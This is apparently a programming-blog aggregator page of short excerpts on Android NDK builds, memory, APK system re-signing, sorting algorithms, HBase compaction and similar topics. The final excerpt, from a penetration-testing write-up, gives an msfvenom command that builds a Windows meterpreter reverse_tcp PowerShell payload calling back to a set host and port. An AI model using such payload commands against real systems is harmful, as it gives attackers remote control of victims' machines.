Programmer Group

How to Compile Ceres Android Library with NDK under Mac Preface Dead work Modify Android.mk content Preface There are many tutorials about Ceres installation on the Internet, but Ceres Android library is really very few, Ceres official website for Android version is also a word skipped. Even i ...

Memory and External Memory: Early Android phones were divided into memory and external memory. Memory was provided by mobile phones, and external memory could be added. Nowadays, Android phones generally have only memory, no external memory. Running memory other memory: Memory can be divided into ...

Preface Sometimes our application needs system-level privileges to implement some functions (such as silent installation), at this time we need to sign the application, package the APK for routine operations, decompress the apk, delete CERT.RSA and META-INF. CERT.SF, then compressed, signed with the system signature tool, a meal may be 10 minut ...

Under the driver directory of Android source code, there will be related implementation source codes of shared memory. The directory is: kernel drivers staging android ashmem.c. But this article is not about the principle of Android shared memory, but about how to use it. 　　1.  In linux, different processes have their own independent memory ...

The requirements are as follows: 1) Assume that there are 72 persons in total (providing a list of persons with the name of Chinese Pinyin) 2) Seven groups 3) To ensure the randomness of the personnel distribution group, that is, the results of each execution of the script should be different. Knowledge Point 1: Generating Random Numbers In L ...

The next few blogs are about sorting: insertion sorting, exchange sorting, selection sorting; Insertion class sorting includes direct insertion sort, bianry insertion sort, and Shell sort. The sorting of exchange classes mainly includes bubble sort and quick sort. Selection sort includes simple se ...

Catalog 1. Use of temporary documents 1.1 Reorientation using shell 1.2 freopen standard output to file 2. Use anonymous pipes 3. Use popen 4. Summary 1. Use of temporary documents 1.1 Reorientation using shell The first idea is to redirect the command output to a temporary file, read the t ...

In compact 1, the scheduling process of HBASE compact is introduced. This article mainly introduces the actual process of compact. First access from the chore in the above, in the compact Checker chore method in HRegionserver, we will determine whether compact is needed, as follows: protected void chore() { //Loop detection by travers ...

Preface I don't share the algorithm by difficulty because I'm more casual, so you can see that sometimes the order changes because when I publish, I modify the position by difficulty so that you can start with simplicity as much as possible.Add an update time for each update in the future to let you know my progress.Add a timer function to visu ...

Links to the original text: https://xz.aliyun.com/t/2536#toc-16 generate ps Rebound script msfvenom  -p   windows/x64/meterpreter/reverse_tcp  lhost=192.168.1.123   lport=12345  -f  psh-reflection>/tmp/search.ps1 msf Monitoring re ...